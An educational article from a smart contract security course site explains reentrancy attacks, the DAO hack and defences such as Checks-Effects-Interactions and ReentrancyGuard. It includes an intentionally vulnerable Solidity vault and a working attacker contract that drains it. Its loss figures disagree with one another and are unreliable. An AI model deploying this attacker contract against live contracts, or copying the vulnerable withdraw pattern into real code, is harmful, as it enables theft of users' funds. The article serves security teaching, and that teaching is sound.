Reentrancy

Smart Contract Vulnerability Deep Dive

JohnnyTime
JohnnyTime · Updated June 23, 2026
22 min read
Total Stolen $562,060,132
Last Attack Jul 15, 2025
Latest Victim Arcadia V2

Summarize with AI

Smart Contract Reentrancy Attacks: Detection, Exploitation, and Prevention

Reentrancy is the classic smart contract vulnerability for a reason: it teaches one of the most important audit lessons in Web3 security.

External calls are not just transfers. They are control-flow handoffs. If a contract sends execution to an untrusted address before finalizing balances, shares, debt, rewards, or other accounting state, the attacker may be able to re-enter the system while it still believes the old state is true.

This guide breaks down how reentrancy works, why the DAO hack changed Ethereum, how modern variants such as cross-function and read-only reentrancy appear in DeFi, and how auditors should test for them in real code.

Quick answer: a reentrancy attack happens when external code calls back into a contract before the first execution finishes. The usual defense starts with Checks-Effects-Interactions, then adds ReentrancyGuard and full call-graph review for cross-function, cross-contract, and read-only variants.

What Is a Reentrancy Attack in Smart Contracts?

At its core, a reentrancy attack happens when a smart contract makes an external call to an untrusted address before it gets around to updating its own internal state (like a user's token balance).

If the recipient address belongs to a malicious smart contract, the attacker can exploit this brief timing gap. They can recursively "re-enter" the vulnerable function over and over again - draining the contract's funds dry before the original transaction even has a chance to finish executing.

Audit lens: the bug is not "using call" by itself. The bug is trusting balances, shares, debt, rewards, or accounting checkpoints that can still be stale during an external interaction.

Reentrancy Attack vs Reentrancy Vulnerability

A reentrancy vulnerability is the unsafe design: the contract exposes stale state during an external call. A reentrancy attack is the exploit path that uses that stale state to withdraw, mint, borrow, vote, liquidate, or otherwise change protocol accounting more than once.

This distinction matters in audits. A function can look safe in isolation but become vulnerable when a token hook, callback, router, vault, bridge adapter, or another protocol contract can call back into the system before all effects are finalized.

The Bank Teller Analogy (Explained Simply)

Imagine walking into a bank. You want to withdraw $1,000.

The bank teller happily hands you the $1,000 in cash, but wait - they haven't updated your account ledger yet. If you could somehow freeze time and ask for another $1,000 withdrawal before they pick up their pen to deduct the first one, they'd look at the ledger, see you still have the funds, and hand you another $1,000.

You could loop this process infinitely, emptying the entire bank vault. That's exactly what happens during a reentrancy attack, just operating at the speed of code.


{
  "title": "🎬 Reentrancy: watch the vault drain",
  "stage": {
    "width": 920,
    "height": 440
  },
  "nodes": [
    {
      "id": "attacker",
      "label": "Attacker EOA",
      "role": "deploys + triggers",
      "emoji": "🧑‍💻",
      "x": 50,
      "y": 50,
      "color": "red"
    },
    {
      "id": "vault",
      "label": "The Vault",
      "role": "holds pooled ETH",
      "emoji": "🏦",
      "x": 620,
      "y": 50,
      "color": "cyan"
    },
    {
      "id": "evil",
      "label": "Attacker Contract",
      "role": "receive() re-enters",
      "emoji": "📜",
      "x": 335,
      "y": 320,
      "color": "purple"
    }
  ],
  "links": [
    {
      "from": "attacker",
      "to": "vault"
    },
    {
      "from": "vault",
      "to": "evil"
    },
    {
      "from": "evil",
      "to": "vault"
    },
    {
      "from": "attacker",
      "to": "evil"
    }
  ],
  "nets": [
    {
      "id": "vault",
      "label": "Vault Net"
    },
    {
      "id": "atk",
      "label": "Attacker Net"
    }
  ],
  "legend": [
    {
      "cls": "call",
      "label": "contract call"
    },
    {
      "cls": "token",
      "label": "ETH transfer"
    },
    {
      "cls": "sig",
      "label": "state write"
    },
    {
      "cls": "fail",
      "label": "reverted / blocked"
    }
  ],
  "scenarios": {
    "Vulnerable": [
      {
        "note": "Attacker deposits 1 ETH. The vault pools <b>3 ETH</b> across its users; the attacker's contract holds nothing yet.",
        "hi": [
          "vault"
        ],
        "bal": {
          "vault": "3 ETH",
          "evil": "0 ETH",
          "attacker": "—"
        },
        "net": {
          "vault": "$0",
          "atk": "$0"
        }
      },
      {
        "note": "The attacker's contract calls <b>withdraw()</b> on the vault.",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "📞 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault sends <b>1 ETH</b> to the contract <b>before</b> zeroing its balance. The re-entry window is now open.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      },
      {
        "note": "The contract's <b>receive()</b> fires mid-transfer and calls <b>withdraw() again</b> - the stale balance still shows funds.",
        "tone": "bad",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "🔄 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault pays <b>again</b>. The loop repeats, draining the entire pool a slice at a time.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "0 ETH",
          "evil": "3 ETH"
        },
        "net": {
          "vault": "-3 ETH",
          "atk": "+3 ETH"
        }
      },
      {
        "note": "State finally updates - too late. The vault is <b>empty</b>; the attacker drained <b>3 ETH</b> on a 1 ETH balance.",
        "tone": "bad",
        "hi": [
          "vault",
          "evil"
        ],
        "bal": {
          "vault": "0 ETH",
          "evil": "3 ETH"
        },
        "net": {
          "vault": "-3 ETH",
          "atk": "+3 ETH"
        }
      }
    ],
    "Fixed (CEI)": [
      {
        "note": "Same start: the vault pools <b>3 ETH</b> and the attacker holds a 1 ETH balance.",
        "hi": [
          "vault"
        ],
        "bal": {
          "vault": "3 ETH",
          "evil": "0 ETH",
          "attacker": "—"
        },
        "net": {
          "vault": "$0",
          "atk": "$0"
        }
      },
      {
        "note": "The attacker's contract calls <b>withdraw()</b>.",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "📞 withdraw()",
          "cls": "call"
        }
      },
      {
        "note": "The vault zeroes the balance <b>first</b> (Checks-Effects-Interactions), then sends.",
        "tone": "ok",
        "hi": [
          "vault"
        ],
        "chip": {
          "from": "vault",
          "to": "vault",
          "label": "✍️ balance = 0",
          "cls": "sig"
        },
        "bal": {
          "vault": "3 ETH"
        }
      },
      {
        "note": "The vault sends the legitimate <b>1 ETH</b> only after its state is already correct.",
        "tone": "ok",
        "hi": [
          "vault",
          "evil"
        ],
        "chip": {
          "from": "vault",
          "to": "evil",
          "label": "💸 1 ETH",
          "cls": "token"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      },
      {
        "note": "<b>receive()</b> re-enters - but the balance is already 0, so the call <b>reverts</b>. The loop dies.",
        "tone": "ok",
        "hi": [
          "evil",
          "vault"
        ],
        "chip": {
          "from": "evil",
          "to": "vault",
          "label": "⛔ withdraw() ✗",
          "cls": "fail"
        },
        "bal": {
          "vault": "2 ETH",
          "evil": "1 ETH"
        },
        "net": {
          "vault": "-1 ETH",
          "atk": "+1 ETH"
        }
      }
    ]
  }
}

Watch: Reentrancy Attack Explained


Why Reentrancy Attacks Are So Dangerous

Reentrancy vulnerabilities have caused some of the most catastrophic losses in crypto history:

$0M+
Total Value Stolen
0+
Known Incidents
2016–2025
Active Threat Period
Attack Year Impact
The DAO Hack 2016 $60M stolen, Ethereum hard fork
Curve Finance 2023 $70M+ drained
Grim Finance 2021 $30M lost

Reentrancy remains one of the top 5 smart contract vulnerabilities in 2025, despite being well-known for nearly a decade.

Types of Reentrancy

1
Single-Function
"Attacker re-enters the same function before it completes, exploiting unchanged state"
Complexity: Low | The classic withdraw() attack
2
Cross-Function
"Attacker calls a different function that shares the same vulnerable state variables"
Complexity: Medium | Targets shared state
3
Cross-Contract
"Exploitation spans multiple interconnected contracts in the same protocol"
Complexity: High | Bypasses single-contract guards

Beyond these three primary types, read-only reentrancy has emerged as a serious threat in complex DeFi protocols - even view functions can be exploited when they return stale data during an ongoing state transition. Additionally, token standards with callback hooks like ERC-777 (tokensReceived) and ERC-1155 (onERC1155Received) introduce new reentrancy vectors during token transfers.


What Auditors Should Review for Reentrancy Risk

Before marking a protocol safe from reentrancy, do not stop at "it has nonReentrant". Work through the full call graph:

  • Map every external interaction. Find ETH transfers, ERC20 transfers, ERC721/ERC1155 safe transfers, ERC777 hooks, callbacks, low-level calls, and arbitrary target calls.

  • Check state-update order. Balances, shares, debt, reward indexes, collateral flags, and nonce/accounting fields should be updated before control leaves the contract.

  • Look for shared state across functions. A guard on withdraw() does not protect claimRewards(), borrow(), or liquidate() if they read the same stale accounting.

  • Trace cross-contract flows. Reentrancy can enter through another contract in the same protocol, especially routers, vaults, strategies, hooks, or token adapters.

  • Test read-only reentrancy. View functions used by other protocols should not expose temporarily inconsistent prices, share values, or reserves during state transitions.

  • Review token standards with callbacks. ERC777, ERC721 safe transfers, ERC1155 safe transfers, and custom hooks can all hand execution back to attacker-controlled code.

  • Verify emergency controls. Pausing, withdrawal caps, and circuit breakers should still work if an attacker reaches an unexpected callback path.

If a finding depends on temporarily stale balances or share prices, also review the related oracle manipulation and flash loan attack patterns because DeFi exploits often chain these assumptions together. For privileged pause, upgrade, and emergency-response paths, review access control attacks as well.


The DAO Hack: The Most Famous Reentrancy Attack 💥

Ah, The DAO. It wasn't just a bug in some random contract - it was a $60 million wake-up call that struck at the heart of the crypto world and changed Ethereum forever. If you want to understand smart contract security, you have to understand The DAO.

What Was The DAO?

Launched back in April 2016, The DAO was supposed to be a revolutionary, blockchain-powered venture capital fund.

The numbers at the time were absolutely staggering:

  • Over $150 million raised in ETH

  • Held 14% of all ether in circulation

  • Backed by 11,000+ investors

  • The biggest crowdfunding campaign in recorded history

The concept was simple yet elegant: investors receive DAO tokens, vote on funding proposals, and share the profits. There was no centralized management, just pure code and community consensus. What could go wrong?

The Attack: June 17, 2016

On this day, the worst-case scenario became reality.

An attacker spotted and exploited a reentrancy vulnerability in The DAO's main withdrawal function. Working quietly but effectively, they managed to siphon 3.6 million ETH (roughly $50-60 million at the time) into a "child DAO" under their control.

Fun fact: Several security researchers had actually warned about recursive call vulnerabilities weeks earlier. But the required fixes just weren't pushed live in time.

Here's the terrifying part: Technically, the attacker didn't "break" any rules written into the smart contract code. They simply exploited the logic exactly as it was programmed.

In a blockchain ecosystem built on the mantra that "code is law," this sparked a massive philosophical meltdown. Were the funds stolen, or was this just a feature of the code?

The Great Ethereum Split

The Ethereum community suddenly found itself staring down an existential crisis:

Option A: Swallow a bitter pill, accept the loss as an expensive lesson in blockchain immutability, and let the hacker keep the funds.

Option B: Intervene manually. Step in to rescue The DAO, return funds to users, and protect the broader ecosystem from collapsing.

After an intense, highly politicized debate, Vitalik Buterin proposed a controversial hard fork - essentially rolling back Ethereum's transaction history to immediately before the hack occurred.

July 20, 2016: The network officially forked at block 1,920,000.

But a stubborn portion of the network vehemently disagreed with the rollback. Those who refused to fork continued mining on the original immutable chain, giving birth to what we now know as Ethereum Classic (ETC) - a permanent, unerasable split that still exists today.

The DAO hack wasn't just a massive heist. It divided an entire community and threw the core principles of blockchain immutability into question.


How Reentrancy Attacks Actually Work (Step-by-Step)

If you're going to prevent these attacks, you need to understand exactly how the mechanism operates under the hood. Let's break down the logic piece by piece.

The Attack Flow

Step What Happens State
1 Attacker deposits 1 ETH balances[attacker] = 1 ETH
2 Attacker calls withdraw() Checking balance...
3 Vault sends 1 ETH to attacker Balance not yet updated
4 Attacker's receive() triggers Still shows 1 ETH balance!
5 receive() calls withdraw() again Check passes (still 1 ETH)
6 Vault sends 1 ETH again Still not updated
7 Loop continues... Draining continues
8 State finally updates Too late - vault is empty

The Attack Phases

1
Tap to reveal
Attacker Deploys Malicious Contract

The attacker creates a contract with a receive() or fallback() function that calls back into the vulnerable contract's withdraw function.

2
Tap to reveal
Deposit & Initial Withdraw

The attacker deposits funds normally, then calls withdraw(). The contract sends ETH before updating the balance.

3
Tap to reveal
Recursive Re-entry

The attacker's receive() function triggers automatically and immediately calls withdraw() again. The balance check still passes because state hasn't updated.

4
Tap to reveal
Drain Complete

The cycle repeats until gas runs out or the vault is empty. State finally updates - but it's too late. The vault has been completely drained.


Want to execute this attack yourself in a safe lab? The Smart Contract Hacking course includes hands-on reentrancy exercises where you'll exploit vulnerable contracts - exactly like real security researchers do.


Reentrancy Vulnerable Code Example

Let's examine the classic vulnerability that enabled The DAO hack.

This contract is intentionally vulnerable. Never use this pattern in production.

The Vulnerable Withdraw Function

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No funds to withdraw");

        // VULNERABILITY: External call BEFORE state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update happens too late!
        balances[msg.sender] = 0;
    }
}

Why Is This Vulnerable?

The problem is the order of operations:

  1. ❌ External call happens first (.call{value: amount}(""))

  2. ❌ Balance still shows funds available during the call

  3. ❌ No reentrancy guard

  4. ❌ Violates Checks-Effects-Interactions pattern

The attacker can call withdraw() again before line 15 (balances[msg.sender] = 0) ever executes.

Reentrancy attack diagram - The credit that never updates: 3 ETH drained on a 1 ETH balance
The credit that never updates: 3 ETH drained on a 1 ETH balance

Reentrancy Attacker Contract Example

Here's how an attacker exploits the vulnerable vault.

// ATTACKER CONTRACT - Educational purposes only
contract ReentrancyAttacker {
    VulnerableVault public vault;
    uint256 public attackIterations;

    constructor(address _vaultAddress) {
        vault = VulnerableVault(_vaultAddress);
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ETH");

        // Step 1: Deposit to establish a balance
        vault.deposit{value: 1 ether}();

        // Step 2: Trigger the first withdrawal
        vault.withdraw();
    }

    // This is called automatically when receiving ETH
    receive() external payable {
        attackIterations++;

        // If vault still has funds, call withdraw again
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();  // Re-enter!
        }
    }

    function collectStolenFunds() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Attack Execution Summary

  1. Deposit 1 ETH to the vulnerable vault

  2. Call withdraw() to start the attack

  3. Receive ETH, triggering receive() function

  4. Re-enter by calling withdraw() again immediately

  5. Repeat until vault is drained

In real attacks, the attacker can drain every ETH in the contract, not just their original deposit.


Ready to write exploits like this yourself? The Smart Contract Hacking course covers reentrancy in-depth with real-world scenarios. Learn from JohnnyTime (12+ years in cybersecurity) and Trust (#1 Code4rena warden).


How to Prevent Reentrancy Attacks: Best Practices

Preventing reentrancy requires a multi-layered defense strategy. Here are the industry-standard techniques.

1. The Checks-Effects-Interactions Pattern

This is the golden rule of secure smart contract development.

Always follow this order:

Step Action Example
Checks Validate conditions require(balance > 0)
Effects Update state balances[user] = 0
Interactions External calls .call{value: amount}("")
"Never make external calls before updating state."
This single principle - the Checks-Effects-Interactions pattern - prevents most reentrancy attacks. Burn it into your memory.

By updating state before making external calls, even if an attacker re-enters, the state already reflects the completed transaction.

Reentrancy attack diagram - Same three operations, different order - that is the entire fix
Same three operations, different order - that is the entire fix

2. Reentrancy Guard (Mutex Lock)

Implement a mutex lock that prevents recursive calls. OpenZeppelin's ReentrancyGuard is the industry standard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    function withdraw() public nonReentrant {
        // Your withdrawal logic here
    }
}

How it works:

  • Sets locked = true at function entry

  • Reverts if called while already locked

  • Sets locked = false after completion

Simple but highly effective.

3. Use Safe Transfer Functions

Instead of low-level .call():

  • OpenZeppelin's Address.sendValue() - Safer ETH transfers

  • SafeERC20 - Prevents reentrancy in token transfers

  • Pull over push - Let users withdraw rather than pushing funds

4. Limit Gas Forwarded

When using .call(), limit the gas:

// Only 2300 gas - not enough for reentrancy
(bool success, ) = msg.sender.call{value: amount, gas: 2300}("");

Warning: This is a weak defense - gas costs can change in network upgrades. Always combine with other protections.

5. Security Audits

  • Professional audits from firms like Trail of Bits, OpenZeppelin

  • Bug bounties to incentivize white-hat hackers

  • Formal verification for mathematical proofs of safety

  • Continuous monitoring post-launch

Prevention Effectiveness Comparison

Effectiveness95/100

What it does: Ensures all state changes (effects) happen before any external calls (interactions).

When to use: Every contract that sends ETH or makes external calls. This is non-negotiable.

Limitation: Requires developer discipline - easy to accidentally violate when refactoring.

Effectiveness85/100

What it does: Sets a lock flag at function entry and reverts if called while locked.

When to use: All payable and state-changing functions in contracts that interact externally.

Limitation: Only protects the contract it's deployed on - cross-contract reentrancy bypasses it.

Effectiveness50/100

What it does: Uses transfer() or send() which forward only 2300 gas - not enough for a reentrant call.

When to use: Legacy contracts only. Avoid in new development.

Limitation: Gas costs change with EIPs. This defense broke with the Istanbul fork and is now considered unreliable.


Reentrancy Secure Code Example

Here's a production-ready implementation combining multiple defense mechanisms.

// SECURE CONTRACT - Production-ready
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdrawal(address indexed user, uint256 amount);

    function deposit() public payable {
        require(msg.value > 0, "Must deposit more than 0");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];

        // STEP 1: CHECKS
        require(amount > 0, "Insufficient balance");
        require(address(this).balance >= amount, "Contract insufficient funds");

        // STEP 2: EFFECTS - Update state BEFORE external call
        balances[msg.sender] = 0;

        // STEP 3: INTERACTIONS - External call last
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        emit Withdrawal(msg.sender, amount);
    }
}

Security Features at a Glance

Feature Protection
nonReentrant modifier Prevents recursive calls
State update before call CEI pattern
require checks Input validation
Events Transparency & monitoring

This implementation would have prevented The DAO hack and countless other reentrancy exploits.


Types of Reentrancy Attacks Beyond the Basics

As DeFi protocols become more complex, so do attack vectors.

1. Cross-Function Reentrancy

An attacker calls a different function during the reentrant call:

  • Initial call to withdraw()

  • Re-enters through transfer() before state updates

  • Both functions share the same vulnerable state

2. Cross-Contract Reentrancy

The attack spans multiple interconnected contracts:

  • Contract A calls Contract B

  • Contract B calls back into Contract A

  • Shared state across contracts creates vulnerability

3. Read-Only Reentrancy

Even view functions can be exploited:

  • Attacker re-enters a view function during state transition

  • View function returns stale/inconsistent data

  • Other contracts make decisions based on wrong information

4. ERC-777 and ERC-1155 Reentrancy

Token standards with callback hooks create new vectors:

  • tokensReceived hook in ERC-777

  • onERC1155Received hook in ERC-1155

  • Both can trigger reentrant calls during transfers

Comparing Defense Mechanisms

Vulnerable

transfer() / send()

Forwards only 2300 gas but is a deprecated defense. Gas costs change with EIPs - the Istanbul fork broke this approach. Never rely on gas limits alone.

Partial Defense

ReentrancyGuard Only

Mutex lock prevents single-contract reentrancy but doesn't protect against cross-contract or read-only variants. Necessary but insufficient alone.

Recommended

CEI + Guard + Audits

Checks-Effects-Interactions pattern combined with ReentrancyGuard and professional audits provides true defense-in-depth against all reentrancy variants.


These advanced patterns separate junior auditors from senior researchers. The Smart Contract Hacking course covers cross-function, read-only, and cross-contract reentrancy alongside flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.


Common Misconceptions

?

"Reentrancy only affects withdraw functions."

Tap to reveal
MYTH

Any function that makes an external call before updating state is vulnerable - including token transfers, flash loan callbacks, and cross-contract interactions.

?

"Using ReentrancyGuard prevents all reentrancy."

Tap to reveal
MYTH

ReentrancyGuard only protects functions within the same contract. Cross-contract and read-only reentrancy can bypass it entirely.

?

"Solidity 0.8+ prevents reentrancy attacks."

Tap to reveal
MYTH

Solidity 0.8+ only adds overflow protection. Reentrancy is a logic flaw - not an arithmetic one. You still need CEI pattern and ReentrancyGuard.

?

"View functions can be exploited in reentrancy attacks."

Tap to reveal
FACT

Read-only reentrancy exploits view functions that read stale state during an ongoing transaction, causing other protocols to make incorrect decisions based on wrong data.


Reentrancy attacks don't exist in isolation - they're often combined with other exploit techniques to maximize damage. Flash loan attacks frequently leverage reentrancy by providing the massive capital needed to exploit recursive withdrawal functions multiple times in a single transaction. The infamous bZx attacks combined flash loans with reentrancy patterns to drain millions.

Reentrancy is also closely related to call attacks and delegatecall vulnerabilities. Both exploit the dangers of external calls - while reentrancy abuses the callback mechanism during ETH transfers, delegatecall attacks exploit the execution context preservation. Understanding how external calls work is fundamental to preventing both vulnerability classes.


Test Your Reentrancy Knowledge

5 questions - How well do you really know this attack?

Question 1 of 5

Frequently Asked Questions About Reentrancy Attacks

A reentrancy attack is when a malicious contract repeatedly calls a vulnerable function before it finishes executing - like making multiple withdrawals before the bank updates your balance. The attacker drains funds by exploiting the gap between sending ETH and updating state.

Over $200 million has been stolen through reentrancy vulnerabilities since 2016. The DAO hack alone accounted for $60 million, and the 2023 Curve Finance exploit drained over $70 million.

Yes! Use the Checks-Effects-Interactions pattern, implement reentrancy guards (OpenZeppelin's nonReentrant), and conduct thorough security audits. Combining all three provides defense-in-depth against every reentrancy variant.

No. ReentrancyGuard protects the functions where it is applied, but cross-contract reentrancy, unguarded sibling functions, read-only reentrancy, and callback-based token flows can still expose stale protocol state. Auditors still need to trace the full call graph.

Read-only reentrancy happens when a callback reads a protocol's temporary, inconsistent state through a view function and another contract trusts that value. The view function does not modify state, but the stale price, share value, or reserve value can still cause bad downstream decisions.

No. Any blockchain platform allowing external calls during execution can be vulnerable - including Vyper, Rust (Solana via CPI), CosmWasm, and Move-based chains. The concept applies wherever contracts can call each other mid-execution.

If still in development, fix it immediately. If the contract is live: pause it, contact a security firm for emergency response, prepare an upgrade or migration plan, and inform users transparently. Time is critical - attackers scan for known vulnerabilities continuously.


Quick Reference: Reentrancy Prevention Checklist

Before deploying any contract that handles value transfers:

  • Follow Checks-Effects-Interactions in every function with external calls

  • Use ReentrancyGuard on all payable and state-changing functions

  • Update state BEFORE external calls - this single rule prevents most attacks

  • Prefer pull over push - let users withdraw rather than pushing funds

  • Get professional audits before mainnet deployment

  • Monitor deployed contracts for suspicious activity

  • Implement emergency pause to respond to vulnerabilities

  • Test reentrancy scenarios in your test suite


Practice the Exploit Path

Reading about reentrancy gives you the pattern. Exploiting it in a lab gives you the instinct.

A good auditor should be able to:

  • identify the external call,

  • find the stale state assumption,

  • write the attacker contract,

  • prove the drain or invariant break,

  • verify that the fix blocks the same path.

Common reentrancy variants are preventable with disciplined design, but complex DeFi variants require full call-graph review. Checks-Effects-Interactions and ReentrancyGuard are starting points, not substitutes for understanding the protocol's state model.

The Smart Contract Hacking course includes hands-on reentrancy exercises along with flash loans, oracle manipulation, access control, and other audit-critical vulnerability classes.

If you want to see how the training works first, start with the free lesson or browse the course curriculum.

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Reentrancy in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Reentrancy Free Trial